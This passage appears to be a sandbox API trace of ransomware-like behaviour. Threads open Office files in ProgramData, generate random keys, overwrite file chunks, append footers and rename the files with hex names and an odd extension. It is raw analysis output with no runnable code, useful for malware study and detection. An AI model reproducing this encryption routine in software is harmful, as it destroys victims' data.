(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ec0) returned 1 [0216.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a60) returned 1 [0216.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858c10 [0216.241] sprintf (in: _Dest=0x1b858c10, _Format="%c%c" | out: _Dest="1b") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c12, _Format="%c%c" | out: _Dest="50") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c14, _Format="%c%c" | out: _Dest="90") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c16, _Format="%c%c" | out: _Dest="4e") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c18, _Format="%c%c" | out: _Dest="01") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c1a, _Format="%c%c" | out: _Dest="77") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c1c, _Format="%c%c" | out: _Dest="51") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c1e, _Format="%c%c" | out: _Dest="ba") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c20, _Format="%c%c" | out: _Dest="c5") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c22, _Format="%c%c" | out: _Dest="40") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c24, _Format="%c%c" | out: _Dest="ca") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c26, _Format="%c%c" | out: _Dest="bb") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c28, _Format="%c%c" | out: _Dest="bd") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c2a, _Format="%c%c" | out: _Dest="83") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c2c, _Format="%c%c" | out: _Dest="0f") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c2e, _Format="%c%c" | out: _Dest="be") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c30, _Format="%c%c" | out: _Dest="8c") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c32, _Format="%c%c" | out: _Dest="ae") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c34, _Format="%c%c" | out: _Dest="0d") returned 2 [0216.241] sprintf (in: _Dest=0x1b858c36, _Format="%c%c" | out: _Dest="3f") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c38, _Format="%c%c" | out: _Dest="83") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c3a, _Format="%c%c" | out: _Dest="ac") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c3c, _Format="%c%c" | out: _Dest="dc") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c3e, _Format="%c%c" | out: _Dest="e5") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c40, _Format="%c%c" | out: _Dest="8e") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c42, _Format="%c%c" | out: _Dest="a1") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c44, _Format="%c%c" | out: _Dest="86") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c46, _Format="%c%c" | out: _Dest="b9") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c48, _Format="%c%c" | out: _Dest="c3") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c4a, _Format="%c%c" | out: _Dest="ca") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c4c, _Format="%c%c" | out: _Dest="25") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c4e, _Format="%c%c" | out: _Dest="04") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c50, _Format="%c%c" | out: _Dest="c5") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c52, _Format="%c%c" | out: _Dest="e0") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c54, _Format="%c%c" | out: _Dest="92") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c56, _Format="%c%c" | out: _Dest="1c") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c58, _Format="%c%c" | out: _Dest="bf") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c5a, _Format="%c%c" | out: _Dest="46") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c5c, _Format="%c%c" | out: _Dest="f8") returned 2 [0216.242] sprintf (in: _Dest=0x1b858c5e, _Format="%c%c" | out: _Dest="1d") returned 2 [0216.242] RtlInitAnsiString (in: DestinationString=0x20f1fa08, SourceString="1b50904e017751bac540cabbbd830fbe8cae0d3f83acdce58ea186b9c3ca2504c5e0921cbf46f81d" | out: DestinationString="1b50904e017751bac540cabbbd830fbe8cae0d3f83acdce58ea186b9c3ca2504c5e0921cbf46f81d") [0216.242] RtlAnsiStringToUnicodeString (in: DestinationString=0x20f1f9d8, SourceString="1b50904e017751bac540cabbbd830fbe8cae0d3f83acdce58ea186b9c3ca2504c5e0921cbf46f81d", AllocateDestinationString=1 | out: DestinationString="1b50904e017751bac540cabbbd830fbe8cae0d3f83acdce58ea186b9c3ca2504c5e0921cbf46f81d") returned 0x0 [0216.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce17b00 [0216.243] wcscat (in: _Dest=0x4318aea0, _Source="1b50904e017751bac540" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\1b50904e017751bac540") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\1b50904e017751bac540" [0216.243] wcscat (in: _Dest=0x4318aea0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\1b50904e017751bac540.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\1b50904e017751bac540.2f9b60" [0216.243] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\1b50904e017751bac540.2f9b60", NtPathName=0x20f1f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\1b50904e017751bac540.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0216.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4312b020 Thread: id = 1705 os_tid = 0x4dc [0130.892] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll")) returned 0x2020 [0130.892] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll", dwFileAttributes=0x20) returned 1 [0130.894] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ab0 [0130.894] GetFileSizeEx (in: hFile=0x1ab0, lpFileSize=0x214df8e0 | out: lpFileSize=0x214df8e0*=1276256) returned 1 [0130.894] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x13795c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.894] ReadFile (in: hFile=0x1ab0, lpBuffer=0x214df860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x214df8a8, lpOverlapped=0x0 | out: lpBuffer=0x214df860*, lpNumberOfBytesRead=0x214df8a8*=0x4, lpOverlapped=0x0) returned 1 [0130.900] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266600 [0130.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266690 [0130.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666c0 [0130.900] NtQuerySystemTime (in: CurrentTime=0x214df7a0 | out: CurrentTime=0x214df7a0*=132462177361486000) returned 0x0 [0130.900] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x7e7aa6e4 [0130.900] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x269cfca8 [0130.900] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x30d2c559 [0130.900] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x22d8725c [0130.900] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x4bf3eff2 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x3558dbe [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x647ea7c [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x7f55b407 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x65f9d2e6 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x42e439c4 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x5998ace0 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x38cf8477 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x6c1381ee [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x73bd1baa [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x1a454633 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x133e3204 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x7c47a5e1 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x5cb40dbf [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x513262c5 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x3b0b12b3 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x23915a0e [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x13d3595f [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x6dde574c [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x4fa2877a [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0xfba4424 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x455bc15b [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x168af5e [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x7bda1f70 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0xab40373 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x7d4c7328 [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x6d8e955e [0130.901] RtlRandomEx (in: Seed=0x214df790 | out: Seed=0x214df790) returned 0x72dc7fd8 [0130.910] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.911] ReadFile (in: hFile=0x1ab0, lpBuffer=0x20175950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x214df800, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesRead=0x214df800*=0x3c00, lpOverlapped=0x0) returned 1 [0130.918] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97710 [0130.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0130.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266600 [0130.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266600) returned 1 [0130.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b79560 [0130.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266600 [0130.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666c0 [0130.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202666c0) returned 1 [0130.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0130.919] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97710) returned 1 [0130.919] WriteFile (hFile=0x1ab0, lpBuffer=0x41b79560, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x214df800, lpOverlapped=0x0) [0180.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b79560) returned 1 [0180.067] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x9d800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.067] ReadFile (in: hFile=0x1ab0, lpBuffer=0x20175950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x214df800, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesRead=0x214df800*=0x3c00, lpOverlapped=0x0) returned 1 [0182.799] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x9d800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30530 [0182.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30530) returned 1 [0182.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4280ea60 [0182.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30530 [0182.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30560 [0182.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30560) returned 1 [0182.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.802] WriteFile (in: hFile=0x1ab0, lpBuffer=0x4280ea60*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x214df800, lpOverlapped=0x0 | out: lpBuffer=0x4280ea60*, lpNumberOfBytesWritten=0x214df800*=0x3c00, lpOverlapped=0x0) returned 1 [0198.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4280ea60) returned 1 [0198.097] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x133d60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.097] ReadFile (in: hFile=0x1ab0, lpBuffer=0x20175950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x214df800, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, lpNumberOfBytesRead=0x214df800*=0x3c00, lpOverlapped=0x0) returned 1 [0198.933] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x133d60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bad0 [0198.934] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bad0) returned 1 [0198.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20235950 [0198.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bad0 [0198.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb00 [0198.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bb00) returned 1 [0198.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.936] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.936] WriteFile (in: hFile=0x1ab0, lpBuffer=0x20235950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x214df800, lpOverlapped=0x0 | out: lpBuffer=0x20235950*, lpNumberOfBytesWritten=0x214df800*=0x3c00, lpOverlapped=0x0) returned 1 [0213.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20235950) returned 1 [0213.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f0c0 [0213.962] SetFilePointerEx (in: hFile=0x1ab0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.962] WriteFile (in: hFile=0x1ab0, lpBuffer=0x1ceb88e0*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x214df8b0, lpOverlapped=0x0 | out: lpBuffer=0x1ceb88e0*, lpNumberOfBytesWritten=0x214df8b0*=0x15c, lpOverlapped=0x0) returned 1 [0217.500] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c420 [0217.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f10 [0217.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ebc0 [0217.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ebc0) returned 1 [0217.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ecb0 [0217.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ebc0 [0217.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee90 [0217.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ee90) returned 1 [0217.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f10) returned 1 [0217.505] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c420) returned 1 [0217.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1b7cec40 [0217.505] sprintf (in: _Dest=0x1b7cec40, _Format="%c%c" | out: _Dest="20") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec42, _Format="%c%c" | out: _Dest="28") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec44, _Format="%c%c" | out: _Dest="a1") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec46, _Format="%c%c" | out: _Dest="91") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec48, _Format="%c%c" | out: _Dest="59") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec4a, _Format="%c%c" | out: _Dest="3d") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec4c, _Format="%c%c" | out: _Dest="4b") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec4e, _Format="%c%c" | out: _Dest="c5") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec50, _Format="%c%c" | out: _Dest="14") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec52, _Format="%c%c" | out: _Dest="7c") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec54, _Format="%c%c" | out: _Dest="3a") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec56, _Format="%c%c" | out: _Dest="86") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec58, _Format="%c%c" | out: _Dest="1e") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec5a, _Format="%c%c" | out: _Dest="f4") returned 2 [0217.505] sprintf (in: _Dest=0x1b7cec5c, _Format="%c%c" | out: _Dest="f2") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec5e, _Format="%c%c" | out: _Dest="cc") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec60, _Format="%c%c" | out: _Dest="cc") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec62, _Format="%c%c" | out: _Dest="4f") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec64, _Format="%c%c" | out: _Dest="e1") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec66, _Format="%c%c" | out: _Dest="f7") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec68, _Format="%c%c" | out: _Dest="10") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec6a, _Format="%c%c" | out: _Dest="d2") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec6c, _Format="%c%c" | out: _Dest="3d") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec6e, _Format="%c%c" | out: _Dest="72") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec70, _Format="%c%c" | out: _Dest="3b") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec72, _Format="%c%c" | out: _Dest="b3") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec74, _Format="%c%c" | out: _Dest="ac") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec76, _Format="%c%c" | out: _Dest="af") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec78, _Format="%c%c" | out: _Dest="41") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec7a, _Format="%c%c" | out: _Dest="f1") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec7c, _Format="%c%c" | out: _Dest="11") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec7e, _Format="%c%c" | out: _Dest="4b") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec80, _Format="%c%c" | out: _Dest="45") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec82, _Format="%c%c" | out: _Dest="0e") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec84, _Format="%c%c" | out: _Dest="08") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec86, _Format="%c%c" | out: _Dest="c3") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec88, _Format="%c%c" | out: _Dest="ae") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec8a, _Format="%c%c" | out: _Dest="a2") returned 2 [0217.506] sprintf (in: _Dest=0x1b7cec8c, _Format="%c%c" | out: _Dest="85") returned 2 [0217.507] sprintf (in: _Dest=0x1b7cec8e, _Format="%c%c" | out: _Dest="5d") returned 2 [0217.507] sprintf (in: _Dest=0x1b7cec90, _Format="%c%c" | out: _Dest="85") returned 2 [0217.507] sprintf (in: _Dest=0x1b7cec92, _Format="%c%c" | out: _Dest="16") returned 2 [0217.507] RtlInitAnsiString (in: DestinationString=0x214df928, SourceString="2028a191593d4bc5147c3a861ef4f2cccc4fe1f710d23d723bb3acaf41f1114b450e08c3aea2855d8516" | out: DestinationString="2028a191593d4bc5147c3a861ef4f2cccc4fe1f710d23d723bb3acaf41f1114b450e08c3aea2855d8516") [0217.507] RtlAnsiStringToUnicodeString (in: DestinationString=0x214df8f8, SourceString="2028a191593d4bc5147c3a861ef4f2cccc4fe1f710d23d723bb3acaf41f1114b450e08c3aea2855d8516", AllocateDestinationString=1 | out: DestinationString="2028a191593d4bc5147c3a861ef4f2cccc4fe1f710d23d723bb3acaf41f1114b450e08c3aea2855d8516") returned 0x0 [0217.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x107b40 [0217.508] wcscat (in: _Dest=0x2050cdf0, _Source="2028a191593d4bc5147c3" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2028a191593d4bc5147c3") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2028a191593d4bc5147c3" [0217.508] wcscat (in: _Dest=0x2050cdf0, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2028a191593d4bc5147c3.2f9b60") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2028a191593d4bc5147c3.2f9b60" [0217.508] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2028a191593d4bc5147c3.2f9b60", NtPathName=0x214df8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\2028a191593d4bc5147c3.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x108200 Thread: id = 1706 os_tid = 0xb2c [0130.913] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll")) returned 0x2020 [0130.914] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll", dwFileAttributes=0x20) returned 1 [0130.915] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ab4 [0130.916] GetFileSizeEx (in: hFile=0x1ab4, lpFileSize=0x2193fa60 | out: lpFileSize=0x2193fa60*=15712) returned 1 [0130.916] SetFilePointerEx (in: hFile=0x1ab4, liDistanceToMove=0x3d5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.916] ReadFile (in: hFile=0x1ab4, lpBuffer=0x2193f9e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2193fa28, lpOverlapped=0x0 | out: lpBuffer=0x2193f9e0*, lpNumberOfBytesRead=0x2193fa28*=0x4, lpOverlapped=0x0) returned 1 [0130.921] SetFilePointerEx (in: hFile=0x1ab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202666c0 [0130.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266750 [0130.921] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266780 [0130.921] NtQuerySystemTime (in: CurrentTime=0x2193f920 | out: CurrentTime=0x2193f920*=132462177361642000) returned 0x0 [0130.921] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x1f1c497f [0130.921] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x2d893eda [0130.921] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x3f5fe0e [0130.921] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x61d2e2f7 [0130.921] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x53068467 [0130.921] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x3facdcca [0130.921] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x4bf97f18 [0130.921] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x652544f0 [0130.921] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0xac71920 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x23fbd097 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) returned 0x31fc60b0 [0130.922] RtlRandomEx (in: Seed=0x2193f910 | out: Seed=0x2193f910) 